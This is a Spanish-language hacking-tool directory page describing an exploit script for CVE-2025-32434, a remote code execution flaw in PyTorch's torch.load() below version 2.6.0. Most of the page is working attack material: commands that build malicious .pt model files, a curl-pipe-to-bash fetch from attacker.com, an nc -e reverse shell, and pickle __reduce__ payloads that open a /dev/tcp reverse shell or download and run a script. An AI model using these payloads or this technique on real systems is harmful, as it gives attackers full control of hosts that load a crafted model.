Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-32434-exploit — Un script para explotar una vulnerabilidad en PyTorch con posterior RCE en versiones de librería < 2.6.0 | Kitploit
Herramientas/GitHubGitHub/b1tbit/cve-2025-32434-exploit
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónPruebas de PenetraciónComando y ControlHerramienta de Acceso Remoto
GitHubb1tbit/cve-2025-32434-exploit

CVE-2025-32434-exploit

Un script para explotar una vulnerabilidad en PyTorch con posterior RCE en versiones de librería < 2.6.0

Ver Repositorio
hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Resumen

Este exploit demuestra una vulnerabilidad crítica de ejecución remota de código (CVE-2025-32434) en versiones de PyTorch < 2.6.0. La falla existe en la función torch.load() incluso cuando se usa weights_only=True, que se supone previene la ejecución arbitraria de código durante la deserialización del modelo.

La vulnerabilidad ocurre porque la implementación de _weights_only_unpickler no restringe adecuadamente la deserialización, permitiendo a los atacantes crear archivos de modelo .pt maliciosos que ejecutan comandos arbitrarios del sistema cuando se cargan en instalaciones vulnerables de PyTorch.

  • Versiones afectadas: PyTorch < 2.6.0
  • Puntuación CVSS: Crítico (estimado 9.8)
  • Impacto: RCE completo en el host que carga el modelo

Uso

  1. Guárdalo como exploit.py
  2. Ejecútalo para crear un archivo de modelo malicioso:
root@kitploit:~
# Basic usage - creates model that touches /tmp/pwned
python3 exploit.py
# Execute custom command
python3 exploit.py -c "id > /tmp/whoami"
# Test the exploit (loads the model to verify RCE)
python3 exploit.py -c "id" -t
# Advanced exploit variant with alternative bypass
python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t
# Save to custom filename
python3 exploit.py -f evil_model.pt -c "nc -e /bin/sh attacker.com 4444"

Ejemplo de salida:

root@kitploit:~
=== CVE-2025-32434 PyTorch RCE Exploit ===
[*] Creating malicious PyTorch model...
[+] Malicious model saved as 'malicious_model.pt'
[+] Will execute command: touch /tmp/pwned
[+] Created malicious model: malicious_model.pt

[*] Testing exploit...
[+] PyTorch version: 2.5.1+cu121
[+] Version is vulnerable to CVE-2025-32434
[*] Loading malicious model with weights_only=True...
[*] This should be safe, but due to CVE-2025-32434 it's not!
[+] Model loaded successfully

Personalización

Edita los métodos reduce() en create_malicious_model() o create_advanced_exploit():

root@kitploit:~
# Example: Reverse shell payload
class ExploitPayload:
    def __reduce__(self):
        return (eval, ("__import__('os').system('bash -i >& /dev/tcp/10.0.0.1/4444 0>&1')",))

# Example: File download + execute
return (eval, ("__import__('urllib.request').urlopen('http://attacker.com/payload.sh').read().decode().strip() | __import__('os').system",))

Verificación

Comprobar vulnerabilidad del objetivo

root@kitploit:~
import torch
print(f"PyTorch: {torch.__version__}")
# Vulnerable if < 2.6.0
Descargar herramienta